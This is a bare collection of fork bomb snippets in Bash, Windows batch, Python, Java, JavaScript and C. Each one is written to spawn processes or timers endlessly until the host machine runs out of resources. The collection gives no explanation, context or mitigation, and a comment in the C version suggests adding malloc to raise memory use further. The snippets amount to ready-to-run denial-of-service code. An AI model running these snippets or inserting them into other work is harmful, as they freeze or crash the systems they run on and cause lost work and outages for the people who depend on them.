:(){ :|:& };:
%0 | %0
import subprocess, sys
while True:
subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)
public class ForkBomb
{
public static void main(String[] args)
{
while(true)
{
Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
}
}
}
(_ = () => setInterval(_, 0))()
#include <stdio.h>
#include <sys/types.h>
int main()
{
while(1) {
fork(); /* malloc can be used in order to increase the data usage */
}
return 0;
}